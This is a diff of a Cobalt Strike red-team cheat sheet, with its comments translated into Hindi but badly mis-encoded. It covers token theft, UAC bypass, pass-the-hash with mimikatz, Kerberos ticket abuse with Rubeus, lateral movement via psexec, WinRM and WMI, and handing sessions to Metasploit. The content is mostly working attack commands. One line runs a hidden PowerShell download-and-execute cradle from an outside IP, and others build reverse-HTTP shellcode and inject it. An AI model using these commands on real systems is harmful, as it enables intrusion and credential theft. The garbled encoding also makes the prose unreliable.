**stageless** .exe, .dll рдпрд╛ рд╕реЗрд╡рд╛ .exe рдХреЗ рд▓рд┐рдП (stageless рдХреЛ staged рд╕реЗ рдмреЗрд╣рддрд░ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрдо IoCs) +* **`Windows Executable (S)`** рдПрдХ **stageless** .exe, .dll рдпрд╛ рд╕реЗрд╡рд╛ .exe рдХреЗ рд▓рд┐рдП (stageless рд╕реНрдЯреЗрдЬреНрдб рд╕реЗ рдмреЗрд╣рддрд░ рд╣реИ, рдХрдо IoCs) #### Generate & Host payloads -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` рдпрд╣ Cobalt Strike рд╕реЗ рдмреАрдХрди рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ/рдПрдХреНрдЬрд╝реАрдХреНрдпреВрдЯреЗрдмрд▓ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛, рдЬреИрд╕реЗ: bitsadmin, exe, powershell рдФрд░ pythonред +`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` рдпрд╣ Cobalt Strike рд╕реЗ рдмреАрдХрди рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ/рдПрдХреНрдЬреАрдХреНрдпреВрдЯреЗрдмрд▓ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛, рдЬреИрд╕реЗ: bitsadmin, exe, powershell рдФрд░ pythonред #### Host Payloads @@ -38,6 +38,7 @@
# Execute local .NET binary
 execute-assembly 
+# рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ 1MB рд╕реЗ рдмрдбрд╝реЗ рдЕрд╕реЗрдВрдмрд▓реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдорд▓реЗрдмрд▓ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХреА 'tasks_max_size' рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
 
 # Screenshots
 printscreen    # PrintScr рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХрд▓ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд▓реЗрдВ
@@ -54,15 +55,19 @@ portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # рдХ
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Import Powershell module
+## Powershell рдореЙрдбреНрдпреВрд▓ рдЖрдпрд╛рдд рдХрд░реЗрдВ
 powershell-import C:\path\to\PowerView.ps1
-powershell <рдмрд╕ рдпрд╣рд╛рдБ powershell cmd рд▓рд┐рдЦреЗрдВ>
+powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
+powershell <рдпрд╣рд╛рдБ рдмрд╕ powershell cmd рд▓рд┐рдЦреЗрдВ> # рдпрд╣ рд╕рдмрд╕реЗ рдЙрдЪреНрдЪрддрдо рд╕рдорд░реНрдерд┐рдд powershell рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (рдирд╣реАрдВ oppsec)
+powerpick   # рдпрд╣ spawnto рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдПрдХ рдмрд▓рд┐рджрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рддрд╛ рд╣реИ, рдФрд░ рдмреЗрд╣рддрд░ opsec (рд▓реЙрдЧрд┐рдВрдЧ рдирд╣реАрдВ) рдХреЗ рд▓рд┐рдП рдЗрд╕рдореЗрдВ UnmanagedPowerShell рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИред
+powerpick Invoke-PrivescAudit | fl
+psinject     # рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ UnmanagedPowerShell рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ PowerShell cmdlet рдЪрд▓ рд╕рдХреЗред
 
 # User impersonation
-## Token generation with creds
+## рдХреНрд░реЗрдбреНрд╕ рдХреЗ рд╕рд╛рде рдЯреЛрдХрди рдЬрдирд░реЗрд╢рди
 make_token [DOMAIN\user] [password] # рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрдХрди рдмрдирд╛рдПрдВ
-ls \\computer_name\c$ # рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ C$ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдкрдиреНрди рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ
-rev2self # make_token рдХреЗ рд╕рд╛рде рдЙрддреНрдкрдиреНрди рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ
+ls \\computer_name\c$ # рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ C$ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдирд░реЗрдЯ рдХрд┐рдП рдЧрдП рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ
+rev2self # make_token рдХреЗ рд╕рд╛рде рдЬрдирд░реЗрдЯ рдХрд┐рдП рдЧрдП рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ
 ## make_token рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдШрдЯрдирд╛ 4624 рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ: рдПрдХ рдЦрд╛рддрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЙрдЧ рдСрди рд╣реБрдЖред рдпрд╣ рдШрдЯрдирд╛ Windows рдбреЛрдореЗрди рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рдорд╛рдиреНрдп рд╣реИ, рд▓реЗрдХрд┐рди рд▓реЙрдЧрдСрди рдкреНрд░рдХрд╛рд░ рдкрд░ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдХреЗ рдЗрд╕реЗ рд╕рдВрдХреАрд░реНрдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ LOGON32_LOGON_NEW_CREDENTIALS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдХрд╛рд░ 9 рд╣реИред
 
 # UAC Bypass
@@ -70,18 +75,18 @@ elevate svc-exe 
 elevate uac-token-duplication 
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
-## Steal token from pid
+## pid рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдирд╛
 ## make_token рдХреА рддрд░рд╣ рд▓реЗрдХрд┐рди рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдирд╛
 steal_token [pid] # рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдиреЗрдЯрд╡рд░реНрдХ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ, рд╕реНрдерд╛рдиреАрдп рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ
-## API рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд▓реЙрдЧрдСрди рдкреНрд░рдХрд╛рд░ "caller рдХреЛ рдЕрдкрдиреЗ рд╡рд░реНрддрдорд╛рди рдЯреЛрдХрди рдХреЛ рдХреНрд▓реЛрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ"ред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдмреАрдХрди рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рддрд╛ рд╣реИ Impersonated  - рдпрд╣ рд╣рдорд╛рд░реЗ рдЕрдкрдиреЗ рдХреНрд▓реЛрди рдХрд┐рдП рдЧрдП рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд░рд╣рд╛ рд╣реИред
-ls \\computer_name\c$ # рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ C$ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдкрдиреНрди рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ
+## API рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд▓реЙрдЧрдСрди рдкреНрд░рдХрд╛рд░ "caller рдХреЛ рдЕрдкрдиреЗ рд╡рд░реНрддрдорд╛рди рдЯреЛрдХрди рдХреЛ рдХреНрд▓реЛрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ"ред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдмреАрдХрди рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рддрд╛ рд╣реИ рдЕрдиреБрдХрд░рдг рдХрд┐рдпрд╛ рдЧрдпрд╛  - рдпрд╣ рд╣рдорд╛рд░реЗ рдЕрдкрдиреЗ рдХреНрд▓реЛрди рдХрд┐рдП рдЧрдП рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд░рд╣рд╛ рд╣реИред
+ls \\computer_name\c$ # рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ C$ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдирд░реЗрдЯ рдХрд┐рдП рдЧрдП рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ
 rev2self # steal_token рд╕реЗ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ
 
-##┬аLaunch process with nwe credentials
+## рдирдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ
 spawnas [domain\username] [password] [listener] # рдРрд╕рд╛ рдХрд┐рд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛ рдЬреИрд╕реЗ: cd C:\
 ## make_token рдХреА рддрд░рд╣, рдпрд╣ Windows рдШрдЯрдирд╛ 4624 рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛: рдПрдХ рдЦрд╛рддрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓реЙрдЧ рдСрди рд╣реБрдЖ рд▓реЗрдХрд┐рди рд▓реЙрдЧрдСрди рдкреНрд░рдХрд╛рд░ 2 (LOGON32_LOGON_INTERACTIVE) рдХреЗ рд╕рд╛рдеред рдпрд╣ рдХреЙрд▓рд┐рдВрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (TargetUserName) рдФрд░ рдЕрдиреБрдХрд░рдг рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (TargetOutboundUserName) рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрдЧрд╛ред
 
-## Inject into process
+## рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ
 inject [pid] [x64|x86] [listener]
 ## OpSec рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ: рдЬрдм рддрдХ рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЖрд╡рд╢реНрдпрдХрддрд╛ рди рд╣реЛ, рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЗрдВрдЬреЗрдХреНрд╢рди рди рдХрд░реЗрдВ (рдЬреИрд╕реЗ x86 -> x64 рдпрд╛ x64 -> x86)ред
 
@@ -90,13 +95,14 @@ inject [pid] [x64|x86] [listener]
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pass the hash through mimikatz
+## Mimikatz рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИрд╢ рдкрд╛рд╕ рдХрд░реЗрдВ
 mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
-## /run рдХреЗ рдмрд┐рдирд╛, mimikatz рдПрдХ cmd.exe рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдпрджрд┐ рдЖрдк рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╡рд╣ рд╢реЗрд▓ рджреЗрдЦреЗрдЧрд╛ (рдпрджрд┐ рдЖрдк SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдЖрдк рдареАрдХ рд╣реИрдВ)
+## /run рдХреЗ рдмрд┐рдирд╛, mimikatz рдПрдХ cmd.exe рд╕реНрдкреЙрди рдХрд░рддрд╛ рд╣реИ, рдпрджрд┐ рдЖрдк рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╡рд╣ рд╢реЗрд▓ рджреЗрдЦреЗрдЧрд╛ (рдпрджрд┐ рдЖрдк SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдЖрдк рдареАрдХ рд╣реИрдВ)
 steal_token  #mimikatz рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ
 
 ## Pass the ticket
 ## рдПрдХ рдЯрд┐рдХрдЯ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ
+execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
 ## рдирдП рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рд▓реЙрдЧрдСрди рд╕рддреНрд░ рдмрдирд╛рдПрдВ (рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)
 make_token \ DummyPass
@@ -105,69 +111,68 @@ make_token \ DummyPass
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
 ## SYSTEM рд╕реЗ рдЯрд┐рдХрдЯ рдкрд╛рд╕ рдХрд░реЗрдВ
-## рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
+## рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ
 steal_token 
 
-## Extract ticket + Pass the ticket
-### List tickets
+## рдЯрд┐рдХрдЯ рдирд┐рдХрд╛рд▓реЗрдВ + рдЯрд┐рдХрдЯ рдкрд╛рд╕ рдХрд░реЗрдВ
+### рдЯрд┐рдХрдЯреЛрдВ рдХреА рд╕реВрдЪреА
 execute-assembly C:\path\Rubeus.exe triage
-### рджрд┐рд▓рдЪрд╕реНрдк рдЯрд┐рдХрдЯ рдХреЛ luid рджреНрд╡рд╛рд░рд╛ рдбрдВрдк рдХрд░реЗрдВ
+### luid рджреНрд╡рд╛рд░рд╛ рджрд┐рд▓рдЪрд╕реНрдк рдЯрд┐рдХрдЯ рдбрдВрдк рдХрд░реЗрдВ
 execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
-### рдирдпрд╛ рд▓реЙрдЧрдСрди рд╕рддреНрд░ рдмрдирд╛рдПрдВ, luid рдФрд░ processid рдиреЛрдЯ рдХрд░реЗрдВ
+### рдирдП рд▓реЙрдЧрдСрди рд╕рддреНрд░ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВ, luid рдФрд░ processid рдиреЛрдЯ рдХрд░реЗрдВ
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
-### рдЙрддреНрдкрдиреНрди рд▓реЙрдЧрдСрди рд╕рддреНрд░ рдореЗрдВ рдЯрд┐рдХрдЯ рдбрд╛рд▓реЗрдВ
+### рдЬрдирд░реЗрдЯ рдХрд┐рдП рдЧрдП рд▓реЙрдЧрдСрди рд╕рддреНрд░ рдореЗрдВ рдЯрд┐рдХрдЯ рдбрд╛рд▓реЗрдВ
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### рдЕрдВрддрддрдГ, рдЙрд╕ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ
+### рдЕрдВрддрддрдГ, рдЙрд╕ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ
 steal_token 
 
-#┬аLateral Movement
+# Lateral Movement
 ## рдпрджрд┐ рдПрдХ рдЯреЛрдХрди рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛
 jump [method] [target] [listener]
 ## рд╡рд┐рдзрд┐рдпрд╛рдБ:
 ## psexec                    x86   рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реЗрд╡рд╛ EXE рдХрд▓рд╛рдХреГрддрд┐ рдЪрд▓рд╛рдПрдБ
 ## psexec64                  x64   рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕реЗрд╡рд╛ EXE рдХрд▓рд╛рдХреГрддрд┐ рдЪрд▓рд╛рдПрдБ
-##┬аpsexec_psh                x86   рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ PowerShell рдПрдХ-рд▓рд╛рдЗрдирд░ рдЪрд▓рд╛рдПрдБ
-##┬аwinrm                     x86   WinRM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБ
-##┬аwinrm64                   x64   WinRM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБ
+## psexec_psh                x86   рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ PowerShell рдПрдХ-рд▓рд╛рдЗрдирд░ рдЪрд▓рд╛рдПрдБ
+## winrm                     x86   WinRM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБ
+## winrm64                   x64   WinRM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБ
+## wmi_msbuild               x64   msbuild рдЗрдирд▓рд╛рдЗрди c# рдХрд╛рд░реНрдп рдХреЗ рд╕рд╛рде wmi рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ (oppsec)
 
-remote-exec [method] [target] [command]
+remote-exec [method] [target] [command] # remote-exec рдЖрдЙрдЯрдкреБрдЯ рдирд╣реАрдВ рд▓реМрдЯрд╛рддрд╛ рд╣реИ
 ## рд╡рд┐рдзрд┐рдпрд╛рдБ:
-##┬аpsexec                          рд╕реЗрд╡рд╛ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдмрдВрдзрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди
-##┬аwinrm                           WinRM (PowerShell) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди
-##┬аwmi                             WMI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди
+## psexec                          рд╕реЗрд╡рд╛ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдмрдВрдзрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди
+## winrm                           WinRM (PowerShell) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди
+## wmi                             WMI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди
 
-## WMI рдХреЗ рд╕рд╛рде рдПрдХ рдмреАрдХрди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдпрд╣ рдХреВрджрдиреЗ рдХреЗ рдЖрджреЗрд╢ рдореЗрдВ рдирд╣реАрдВ рд╣реИ) рдмрд╕ рдмреАрдХрди рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
+## WMI рдХреЗ рд╕рд╛рде рдПрдХ рдмреАрдХрди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдпрд╣ jump рдХрдорд╛рдВрдб рдореЗрдВ рдирд╣реАрдВ рд╣реИ) рдмрд╕ рдмреАрдХрди рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
-
 # Pass session to Metasploit - Through listener
-## On metaploit host
+## Metasploit рд╣реЛрд╕реНрдЯ рдкрд░
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
 msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
+## Cobalt рдкрд░: Listeners > Add рдФрд░ Payload рдХреЛ Foreign HTTP рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВред Host рдХреЛ 10.10.5.120 рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ, Port рдХреЛ 8080 рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ Save рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред
 beacon> spawn metasploit
-## рдЖрдк рдХреЗрд╡рд▓ рд╡рд┐рджреЗрд╢реА рд▓рд┐рд╕реНрдирд░ рдХреЗ рд╕рд╛рде x86 Meterpreter рд╕рддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+## рдЖрдк рдХреЗрд╡рд▓ рд╡рд┐рджреЗрд╢реА рд▓рд┐рд╕реНрдирд░ рдХреЗ рд╕рд╛рде x86 Meterpreter рд╕рддреНрд░ рд╕реНрдкреЙрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
 
 # Pass session to Metasploit - Through shellcode injection
-## On metasploit host
+## Metasploit рд╣реЛрд╕реНрдЯ рдкрд░
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
 ## msfvenom рдЪрд▓рд╛рдПрдБ рдФрд░ multi/handler рд▓рд┐рд╕реНрдирд░ рддреИрдпрд╛рд░ рдХрд░реЗрдВ
 
-## Cobalt Strike рд╣реЛрд╕реНрдЯ рдкрд░ рдмрд┐рди рдлрд╝рд╛рдЗрд▓ рдХреЙрдкреА рдХрд░реЗрдВ
+## рдмрд┐рди рдлрд╝рд╛рдЗрд▓ рдХреЛ Cobalt Strike рд╣реЛрд╕реНрдЯ рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ
 ps
-shinject  x64 C:\Payloads\msf.bin #x64 рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ metasploit рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ
-
-# Pass metasploit session to cobalt strike
-## рд╕реНрдЯреЗрдЬрд▓реЗрд╕ рдмреАрдХрди рд╢реЗрд▓рдХреЛрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ, Attacks > Packages > Windows Executable (S) рдкрд░ рдЬрд╛рдПрдВ, рдЗрдЪреНрдЫрд┐рдд рд▓рд┐рд╕реНрдирд░ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ, рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рдХрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ Raw рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ x64 рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред
-## рдЙрддреНрдкрдиреНрди Cobalt Strike рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП metasploit рдореЗрдВ post/windows/manage/shellcode_inject рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
